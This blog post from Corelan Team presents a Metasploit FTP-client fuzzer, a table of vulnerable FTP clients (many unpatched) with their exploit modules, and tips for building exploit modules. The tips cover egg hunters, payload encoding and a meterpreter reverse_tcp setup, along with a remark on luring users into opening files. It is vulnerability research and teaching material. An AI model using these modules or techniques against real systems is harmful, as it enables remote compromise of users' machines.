Please consider donating:


Death of an ftp client / Birth of Metasploit modules

Scope of work

Over the past few weeks, Corelan Team has given its undivided attention to fuzzing ftp client applications.

Using a custom built ftp client fuzzer, now part of the Metasploit framework (svn r10658 and up), the team has audited several ftp clients and applications that use an embedded client ftp component. One example of such an application is a tool that would synchronize / backup data from a computer to a remote ftp server.

The 3 main audit/attack vectors that were used during the "project" were

  • send back overly long responses to ftp commands / requests sent by the ftp client to the server
  • send back a file/directory listing that contains overly long file/folder names
  • try to download a file that has an overly long filename.

The fuzzer

As mentioned earlier, in order to facilitate the initiative and fuzzing process, a custom ftp client fuzzer was implemented as a Metasploit module.  Since this fuzzer was added to the Metasploit trunk, you can get a copy of the module by installing/updating the svn (trunk) version of metasploit :

cd /pentest/exploits
svn co

When the process completes, you’ll have a copy of a svn version of Metasploit in /pentest/exploits/trunk.

I used the /pentest/exploits folder because that folder is where metasploit3 (and some other stuff) is located in BackTrack 4.

If all went well, you should find a file called “client_ftp.rb” under /pentest/exploits/trunk/modules/auxiliary/fuzzers/ftp.

Note : you can keep your (svn) copy of Metasploit up to date using one of the following techniques :

From the command line :

cd /pentest/exploits
svn co

From within msfconsole :


The fuzzer acts as an ftp server and is designed to send specific responses back to the connected ftp client.  The module can handle PASV connections.

This is how you can launch the fuzzer from inside a Metasploit console, and list the available options :

root@bt:/pentest/exploits/trunk# ./msfconsole -n
[-] ***
[-] * WARNING: No database support: String User Disabled Database Support
[-] ***

                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/

       =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 603 exploits - 302 auxiliary
+ -- --=[ 225 payloads - 27 encoders - 8 nops
       =[ svn r10370 updated today (2010.09.18)

msf > use auxiliary/fuzzers/ftp/client_ftp
msf auxiliary(client_ftp) > show options

Module options:

   Name        Current Setting        Required  Description
   ----        ---------------        --------  -----------
   CYCLIC      true                   yes       Use Cyclic pattern instead of A's (fuzzing payload).
   ENDSIZE     200000                 yes       Max Fuzzing string size.
   ERROR       false                  yes       Reply with error codes only
   EXTRALINE   true                   yes       Add extra CRLF's in response to LIST
   FUZZCMDS    LIST,NLST,LS,RETR      yes       Comma separated list of commands to fuzz.
   RESET       true                   yes       Reset fuzzing values after client disconnects with QUIT cmd.
   SRVHOST                yes       The local host to listen on.
   SRVPORT     21                     yes       The local port to listen on.
   SSL         false                  no        Negotiate SSL for incoming connections
   SSLVersion  SSL3                   no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   STARTSIZE   1000                   yes       Fuzzing string startsize.
   STEPSIZE    1000                   yes       Increment fuzzing string each attempt.
   WELCOME     Evil FTP Server Ready  yes       FTP Server welcome message.

msf auxiliary(client_ftp) >

(I used the -n option to load msfconsole without database support, which makes the console load a little faster)

Let’s take a look at the available options :

  • CYCLIC (true) :  When set to true, this will tell the fuzzer to use a cyclic pattern as fuzz data.  A cyclic pattern is often required to determining offsets because every 4 bytes in the string are unique. I figured “why not use a cyclic pattern by default, instead of A’s”.  When set to false, the fuzzer will use a series of “A’s” as fuzz data. If you use a cyclic pattern and attach Immunity Debugger to the ftp client prior to fuzzing, you can use "!pvefindaddr suggest" to find offsets and payload locations when the client crashes.
  • ENDSIZE (200000) :  This is the maximum length of fuzz data to send back to the ftp client.  When the maximum length is reached, the fuzzer will continue to work, but the fuzz data size will not increment anymore.
  • ERROR (false) :  By default, the fuzzer *should* reply to the ftp client with return codes that make sense.  If you set error to true, then the fuzzer will reply to the ftp client using error codes instead (5xx).
  • EXTRALINE (true) : In some cases, an ftp client can crash when the ftp server sends back a directory listing that contains a very long filename or folder name, followed by 2 carriage return/line feeds. Setting the extraline option to "false" will tell the fuzzer to only use one carriage return/line feed (because this might change/influence/break the behavior on some ftp clients)
  • FUZZCMDS (LIST,NLST,LS,RETR) : This is undoubtedly the most important setting of the fuzzer. This setting will allow you to define which response needs to be fuzzed. You can enter any of the supported commands in the fuzzer, or set to * to fuzz all commands. As you can see in the output above, you can define multiple commands by separating them with a comma.
  • RESET (true) : Each time a client sends a QUIT command, the fuzzer will reset the fuzz data length to the initial value, defined with STARTSIZE. If you don’t want this to happen, then set RESET to false.
  • SRVHOST ( : This is the IP address the fuzzer/ftp server needs to bind to. is your local machine.
  • SRVPORT (21) : This is the tcp port the fuzzer/ftp server needs to listen on. Port 21 is the most commonly used port for FTP
  • STARTSIZE (1000) : This setting allows you to define the initial string length of the fuzzdata.
  • STEPSIZE (1000) : This setting defines the increments.  Every time fuzz data is sent back to the ftp client, the length of the fuzz data is incremented with the value in stepsize.
  • WELCOME (Evil FTP Server Ready) : This is the FTP server banner.  If you have defined the “WELCOME” command in the FUZZCMDS option, then the banner will obviously contain fuzz data.

Starting the fuzzer, once all required settings have been defined, is very simple :

msf auxiliary(client_ftp) > run

[*] Server started.

The server will now run in the background, and will continue to run until you cancel it.

As soon as a client connects, some logging will be written to the Metasploit console, so you can trace back what happens and find out how long the fuzzdata payload was at the time the ftp client crashed :

[*] Client connected :
[*]  - Set up active data port 20
[*] Sending response for 'WELCOME' command, arg
[*] Sending response for 'USER' command, arg test
[*] Sending response for 'PASS' command, arg test
[*]  - Set up active data port 16011
[*] Sending response for 'PORT' command, arg 192,168,0,188,62,139
[*] Handling NLST command
[*]  - Establishing active data connection
[*]  - Data connection set up
[*] * Fuzzing response for LIST, payload length 1000
[*] (i) Setting next payload size to 2000
[*]  - Sending directory list via data connection

If you want to change some of the settings, simply press CTRL+C, change the options, and issue "run" again.

The results

Using the Metasploit module, Corelan Team has discovered more than a dozen ftp client applications that were vulnerable.  A lot of older applications appeared to be vulnerable to classic stack based buffer overflows / memory corruption, but also a number of more recent applications were found vulnerable too. In any case, we tested the most up-to-date versions of the ftp clients, available at the time of the tests (august/september 2010).

All tests were performed with clients running on XP SP3 English, with IE7, fully patched.

In most cases, the discovered buffer overflows got triggered by the file / folder names that were returned to the client. Sending back a long filename either crashed the ftp client right away, or made the ftp client crash when attempting to open or download the file. In other cases, buffer overflows were triggered in the response to CWD or PWD commands.

Based on the results of the project, it looks like a lot of developers assumed that files and/or folders cannot be longer than 255 characters… While this is probably true for a real file system, it is not necessarily true when you have to parse and process a string that was sent back from an FTP server to the client.

Please, dear developers, don’t just assume. Treat all input as evil and sanitize/check buffer lengths before processing input.

An overview of the vulnerable applications that can be exploited (more or less reliably, unless stated otherwise) :

Application Version Bug found by Fixed in User intervention ? (*) Metasploit module
Electrasoft 32bit FTP 10.09.01 fancy 10.09.22 (sept 22 2010) Yes – open / download file 32bitftp_list_reply.rb
LeapFTP corelanc0d3r 3.1.x Yes – open / download file leapftp_list_reply.rb
PSftp 1.8 b 789 fancy not fixed / no reply Yes – drag file from server to client no – not reliable (offset based on length of local temp folder)
Filestream ConcordFTP 5.0 (b003071119) nullthreat 5.0.003 (oct 4) Yes – open / download file no – not reliable
Fastream Netfile FTP 6.0 corelanc0d3r not fixed / no reply Yes – open / download file no – 4byte arbitrary write
Waveflow Shuttle FTP v3.7 nullthreat not fixed / no reply Yes – drag file from server to client no – null byte issue + offset based on length of target folder
Wilcom2 Ken FTP v5.0 rick2600 not fixed / no reply No no – null byte issue
FTPPad 1.2.0 corelanc0d3r not fixed / no reply No, but might need 2 connects ftppad_list_reply.rb
Robert Vasvari AASync corelanc0d3r No aasync_list_reply.rb
CursorArts Filewrangler 5.30 nullthreat not fixed / no reply No filewrangler_list_reply.rb
BlueZone Seagull FTP 3.3 build 409 corelanc0d3r use BlueZone Secure FTP instead No seagull_list_reply.rb
FTPShell 4.1 RC2



not fixed / no reply No


FTPGetter Standard ekse not fixed / no reply No (just wait for the task to kick in) ftpgetter_pwd_reply.rb
FTP Synchronizer Pro myne-us not fixed / no reply No (preview) ftpsynch_list_reply.rb
Gekko Manager 0.77 nullthreat not fixed / no reply No gekkomgr_list_reply.rb
Odin Secure FTP Expert 4.1 rick2600 not fixed / no reply No (but sometimes needs 2 connects) odin_list_reply.rb

(*) : User intervention other than simply connecting to the ftp server with default settings.

Because Corelan Team uses the coordinated disclosure model, we have contacted developers (and sent reminders in many cases)… but unfortunately only a few of them actually responded and have fixed the issue that was reported to them. This means that if you are using one of the applications that has a “not fixed” in the “Fixed in” column, then you may want to consider installing a different FTP client, because you are currently left unprotected.   It also means that, despite the fact that some specific bugs were fixed, the applications may still contain other bugs.

Also, the fact that an application is listed as "fixed" doesn’t mean that the application does not contain other bugs.

Building reliable exploit modules for these applications was an interesting challenge. Some of the challenges included one or more of the following techniques :

  • character set limitations
  • inline encoding
  • egg hunters
  • I had to write a brand new omelet egg hunter mixin for Metasploit
  • we had to develop and implement a checksum routine in both the omelet egg hunter and regular egg hunter (thank you dijital1 for working on the checksum routine and jduck for porting the routine into the regular egg hunter mixin)
  • deal with unicode conversion
  • use rop style stack pivots
  • etc.

If you ever have written Metasploit modules yourself, you will already know that this is sometimes more difficult than writing a custom exploit script that has hardcoded shellcode.  Making modules portable/reliable is definitely harder, but more rewarding at the same time.

Anyways, exploit modules for the (reliable) exploitable vulnerable applications were merged into the Metasploit framework (svn/trunk). Due to changes with the egghunter implementation in the svn release of Metasploit, and the addition of the Corelan Team omelet hunter mixin in Metasploit, these exploit modules will only work with the svn release (and future stable releases of Metasploit)

All modules have been tested on XP SP3, using windows/exec and windows/meterpreter/reverse_tcp payloads. In the event that manual intervention is required, we tried to make the filename look “interesting” enough (and harmless at the same time) to convince the remote user to actually open/download it.

Most FTP clients appear to use threads to connect to the ftp server. That means that, in some cases, the ftp client doesn’t even crash after the payload was sent/executed, because only the corresponding thread gets killed. On top of that, some clients simply try to reconnect to the ftp server next time the application launches (=> so it will get owned again if the evil server is still running).

Tips & Tricks when using Metasploit to build exploits :

Metasploit is not only a great framework because of the available exploits and post-exploitation techniques, but it can be used to build exploits from scratch as well. In fact, building modules for Metasploit really forces you to think about reliability and portability of the exploit. You cannot just make a script work with one specific encoded payload, of a specific size.  You now have to think about identifying bad chars, making sure any Metasploit payload will work and would fit into your buffer.  So in that perspective, building Metasploit modules for your exploits makes a lot of sense because you will end up with a better and generic exploit.

Building exploits often forces you to rely on script/language specific functions that will help you troubleshooting why an exploit doesn’t work.  When writing exploits, most of the time, the exploit developer starts by trying to find payload offsets (offset to saved EIP, offset to a SEH record, offset to a register, and so on). While writing an exploit module, you also may need a way to display some verbose information onto screen, or dump the contents of the payload to screen or dump the shellcode to a file, etc.  Maybe that is the reason why a lot of people write exploits in perl or python.

But the truth is, all of this can be done within Metasploit itself, and it’s not hard at all.

What follows are some statements/tips & tricks that may come handy if you are building a brand new exploit within Metasploit.

Some of the daunting tasks of writing exploits in a scripting language such as perl or python include setting up client-server or server-client communications.  You will discover that Metasploit offers some great/easy ways (mixins) to implement the communication layer so you can focus on your payload.

I guess my message is : there’s no need to reinvent the wheel. No matter what you’re trying to do, I’m convinced that you can do it faster and better with Metasploit.

Metasploit template

First of all, you need a template, an empty Metasploit module file, so you can start inserting your payload.  A basic template would look like this :

# $Id: $

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

class Metasploit3 < Msf::Exploit::Remote

  def initialize(info = {})
      'Name'           => 'Name of the exploit',
      'Description'    => %q{  write a few lines about the vulnerability
                and about the exploit
      'Author'   =>
      'License'        => MSF_LICENSE,
      'Version'        => "$Revision: $",
      'References'     =>
          [ 'URL', '' ],
      'DefaultOptions' =>
          'EXITFUNC' => 'process',
      'Payload'        =>
          'BadChars' => '\x00',
      'Platform'       => 'win',
      'Targets'        =>
          [ 'Windows Universal', { 'Offset' => 1024, 'Ret' => 0x1234567 } ], #ppr [ijl15.dll]
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 2010',
      'DefaultTarget'  => 0))


      ], self.class)

  def exploit



Unless you are using a specific client-server /tcp communication mixin, the "exploit" section is where your "magic" will happen.


Metasploit comes with a series of mixins that can be included.  If you are writing an exploit that will need to perform GET/POST requests to a webserver, then you can use the HttpClient mixin.  If you are building an exploit that will produce a file on the local filesystem then you can use the fileformat mixin, and so on.

Instead of writing all "logic/engines" into your Metasploit module, you can simply include the mixin and take advantage of the available methods.

If you are not sure about what mixin can/should be used, then you can try to find an existing exploit module that uses the same attack vector as your exploit, and see which mixin has been used, and how it has been used.

You can include mixins by inserting an "include" statement at the top of the script, just below the "class Metasploit3 < Msf::Exploit::Remote" line

Some commonly used mixins include :

Mixin name Include Syntax Purpose
FILEFORMAT include Msf::Exploit::FILEFORMAT Write a file to the local filesystem. Commonly used for fileformat-based exploits. Path and filename variables are automatically added to the module options. All you need to do to write the file in your module is :


Remote::Tcp include Msf::Exploit::Remote::Tcp Connect to a remote tcp server and send your payload. Target host and port are automatically added to the module options. All you need to do is put the following lines in your module :





Remote::HttpClient include Msf::Exploit::Remote::HttpClient Connect to a webserver, issue GET or POST commands. Can return the response into a variable. The modules/exploits/windows/http folder contains many examples on how to use this mixin
Remote:HttpServer::HTML include Msf::Exploit::Remote::HttpServer::HTML Set up a simple webserver and return data when a client/browser connects to you. Instead of using "def exploit", you have to use "def on_request_uri(cli, request)" to capture the request and send the response back.  You can find plenty of examples in the modules/exploits/windows/browser folder
Remote::TcpServer include Msf::Exploit::Remote::TcpServer Set up a tcp server so you can allow clients to connect to you.  Some examples can be found in the modules/exploits/windows/ftp folder
Remote::Ftp include Msf::Exploit::Remote::Ftp This mixin allows you to connect to a remote ftp server in an easy way.
Remote::SMTPDeliver include Msf::Exploit::Remote::SMTPDeliver This mixin provides you with an easy way to connect to a mail server and send emails.

When using a mixin, make sure to include the full namespace (Msf::Exploit…)

If you need more help about the mixins, you can also consult the Metasploit MSFCore API documentation.

Create a cyclic pattern inside a Metasploit module

strPattern = Rex::Text.pattern_create(size_of_pattern)

Writing payload to a file

If you want to compare the original shellcode with what is found in memory, for example using !pvefindaddr compare  :

First, include the fileformat mixin at the top of the module :

include Msf::Exploit::FILEFORMAT

Next, write the payload to file :


When running the exploit, make sure to set the FILENAME and OUTPUTPATH options before running “exploit”. If you forgot to set these options, the payload will be written to a file called “MSF”.   You can then transfer the file (using scp or so) to your windows system (the one that has the debugger attached to the application) and use it to run !pvefindaddr compare.  Remember that every time your run “exploit”, the payload gets encoded again, so make sure to use the payload file, created by the module, against the corresponding instance of the crashed application.

Alternatively, if you don’t want to abuse the FILEFORMAT mixin, you can just use plain ruby commands to write something (variable "content" in this example) to file :"outputfile.txt", "wb") { |fd| fd.write(content) }

Creating a character conversion table

You can use the following basic iteration to create a variable that holds all bytes (00 to FF – filter out any bad chars if required). You can put this variable in your payload (so it would end up in memory), and use it as a basis to identify character transforms :

chartable=" "
while charcnt< 256
   chartable << [charcnt & 0xff].pack('C')

Dumping payload to screen

You can write the payload (represented by variable ‘buffer’ in this example) to screen using the following statement :

print_status(("buffer: %u bytes:\n" % buffer.length) + Rex::Text.to_hex_dump(buffer))

(thanks fancy)

You can use the print_status() function to display information to screen, while you are debugging a certain new module. You can also use the log file (see later) when debugging a new exploit module.

Using egg hunter in Metasploit (svn/trunk)

In the svn/trunk release of Metasploit, the egg hunter mixin was changed.

The 2 major changes are :

  • you can specify a custom tag (4 bytes)
  • you can enable the checksum routine (which may come handy if the payload/egg can be found in multiple locations in memory, and some of them were corrupted). We had to implement this checksum routine to be able to make some of the exploits work reliably.

The new syntax to use an egg hunter in a Metasploit module is :

First, include the egghunter mixin :

include Msf::Exploit::Remote::Egghunter

Set the options

eggoptions =
   :checksum => true,
   :eggtag => "W00T"

(in this example, the checksum routine is enabled, and we have set a custom tag “W00T”). The "badchars" variable is left empty because there is no badchar filter routine in the egg hunter generation routine. You can still encode the hunter after it was generated (see “Perform inline payload encoding”)

Finally, call the egghunter generation routine

hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)

The egghunter payload is contained in the “hunter” variable, the tag + the actual payload needs to be referenced using the “egg” variable.

Using omelet egg hunter in Metasploit (svn/trunk)

Similarly to the normal egg hunter, and as explained in this article, the omelet egg hunter can be used by first including the mixin into the module

include Msf::Exploit::Omelet

setting the options

badchars = ""
omeletoptions =
  :eggsize => 123,
  :eggtag => "00w",
  :searchforward => true,
  :reset => false,
  :checksum => true

(you can see that the omelet hunter has more options than the normal egg hunter. You can find more info about these options in this article)

and finally calling the generation routine

omelet =  generate_omelet(payload.encoded,badchars,omeletoptions)

omelet[0] contains the omelet hunter, and omelet[1] contains an array with all eggs.

You can access the eggs using a simple iteration :

omelet[1].each do |thischunk|
   #do something with the "thischunk" variable

Get omelet[0] to run and it will locate all eggs, reassemble them, and execute the original payload.

Perform inline payload encoding in Metasploit :

If you need to re-encode (or just encode) payload inside the module, you can use the following statement :

my_payload = "" #put your payload in here
encodedpayload = Msf::Util::EXE.encode_stub(framework, [ARCH_X86], my_payload, ::Msf::Module::PlatformList.win32, badchars)

This technique does not allow you to specify the encoder to use. It will, based on the badchars specified, attempt to encode the payload using various encoders, starting with shikata_ga_nai, fstenv_mov and then move on to the other encoders, until it satisfies the badchars.

This may be required if you have to generate custom asm code inside your module (for whatever reason), and then encode it before using it.

You can write inline asm code inside a module using the following technique :

Metasm::Shellcode.assemble(, "instruction1 instruction2").encode_string

(instructions should be separated by spaces, semicolons or newline \n)

To keep things readable, you could also put the instructions in a variable first and then feed it to the assembler :

customcode = "push esp\npop edi\nmov esp,ebp"
buffer = Metasm::Shellcode.assemble(, customcode).encode_string

\x90\x90\x90\x90\x90 NOPS

You can use a Metasploit function to create a set of NOPS :

nops = make_nops(size)

Monitor the log file

In order to catch syntax errors or other issues when building Metasploit modules, you can monitor the log file.  In Backtrack, the log file is located at /root/.msf3/logs/framework.log (assuming that you are running Metasploit as root)

If you want to increase (or decrease) the logging level, you can do this :

msf> setg LogLevel 3

This will set the LogLevel to 3 (all logging). If you set the logging to 0, then only default logging will be displayed in the log file.  LogLevel 3 will produce a lot of logging, so make sure to watch the filesize.

Making changes to modules

Once you started building your module, you are most likely going to edit the module & re-run it to see if it works.  If you have made changes to the "exploit" section, then you can simply issue a "reload" / "rexploit" command in msfconsole to run the module again (taking the changes into account). If you made changes to the initialize section, then you may have to close the console and open it again.

Msfconsole settings and module auto-load

If you issue the “save” command, then the LogLevel value (and other datastore values) will be stored permanently (into /root/.msf3/config).  Keep in mind that this will also set the active exploit module and module parameters, if any, as the default parameters to use when opening the console.   This may be helpful when you are working on a specific module and you want msfconsole to automatically load your module and pre-populate the settings…  But if you don’t want this, edit the config file and remove the unwanted settings.

Removing the ActiveModule from the [framework/ui/console] section will prevent that module from being loaded automatically when you start msfconsole.

Some other nice-to-know things about msfconsole (svn release)

1. Payload auto selection

Did you know this : Try selecting an exploit, and run "exploit" without selecting the payload. It will automatically set up a reverse meterpreter.  Saves you a bit of typing :)

2. Advanced payload options :

Select an exploit, set a payload… and then run "show advanced"

Example :

msf > use exploit/windows/ftp/leapftp_list_reply
msf exploit(leapftp_list_reply) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(leapftp_list_reply) > show advanced

Module advanced options:

   Name           : ContextInformationFile
   Current Setting:
   Description    : The information file that contains context information

   Name           : DisablePayloadHandler
   Current Setting: false
   Description    : Disable the handler code for the selected payload

   Name           : EnableContextEncoding
   Current Setting: false
   Description    : Use transient context when encoding payloads

   Name           : ListenerComm
   Current Setting:
   Description    : The specific communication channel to use for this service

   Name           : WORKSPACE
   Current Setting:
   Description    : Specify the workspace for this module

Payload advanced options (windows/meterpreter/reverse_tcp):

   Name           : AutoLoadStdapi
   Current Setting: true
   Description    : Automatically load the Stdapi extension

   Name           : AutoRunScript
   Current Setting:
   Description    : A script to run automatically on session creation.

   Name           : AutoSystemInfo
   Current Setting: true
   Description    : Automatically capture system information on initialization.

   Name           : InitialAutoRunScript
   Current Setting:
   Description    : An initial script to run on session creation (before

   Name           : ReverseConnectRetries
   Current Setting: 5
   Description    : The number of connection attempts to try before exiting the

   Name           : ReverseListenerBindAddress
   Current Setting:
   Description    : The specific IP address to bind to on the local system

   Name           : ReverseListenerComm
   Current Setting:
   Description    : The specific communication channel to use for this listener

   Name           : WORKSPACE
   Current Setting:
   Description    : Specify the workspace for this module

Contributing to Metasploit

Read  the Metasploit guidelines to get familiar with some coding instructions and ways to contribute to the framework.

Code styling :

  • Hard tabs, not spaces (indent up to 4 tabs). If you have used spaces, you can use Kate to edit the file, select the contents and simply press the tab space to convert the spaces to tabs. Fast and easy.
  • Make sure the end of line format is set to Unix
  • Try to keep your lines under 100 columns (assuming four-space tabs)
  • do; end instead of {} for a block
  • Always use str[0,1] instead of str[0] (This avoids a known ruby 1.8/1.9 incompatibility.)
  • Use whitespace when using operators

If you want to get your module added to Metasploit, make sure to include the following mandatory sections :

Make sure the module starts with the following license statement (and make sure it includes the $Id: $ tag)

# $Id: $

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

Also, in the initialize section, set the version to $Revision: $ :

'Version'        => "$Revision: $",

When your module is ready, tested, and found reliable, send it to if you want to get it reviewed and added into the svn trunk.

(don’t forget to include a nice “greetz to corelanc0d3r / Corelan Team” in your module :) )

Some related links :


That’s it for now.

Happy sploiting…

… and think twice next time you launch your ftp client.


Thanks to

  • Corelan Team – you guys rock !
  • jduck – for putting up with me :)

  Copyright secured by Digiprove © 2010 Peter Van Eeckhoutte

© 2010 – 2021, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.

3 Responses to Death of an ftp client / Birth of Metasploit modules

Corelan Training

We have been teaching our win32 exploit dev classes at various security cons and private companies & organizations since 2011

Check out our schedules page here and sign up for one of our classes now!


Want to support the Corelan Team community ? Click here to go to our donations page.

Want to donate BTC to Corelan Team?

Your donation will help funding server hosting.

Corelan Team Merchandise

You can support Corelan Team by donating or purchasing items from the official Corelan Team merchandising store.

Protected by Copyscape Web Plagiarism Tool

Corelan on Slack

You can chat with us and our friends on our Slack workspace:

  • Go to our facebook page
  • Browse through the posts and find the invite to Slack
  • Use the invite to access our Slack workspace
  • Categories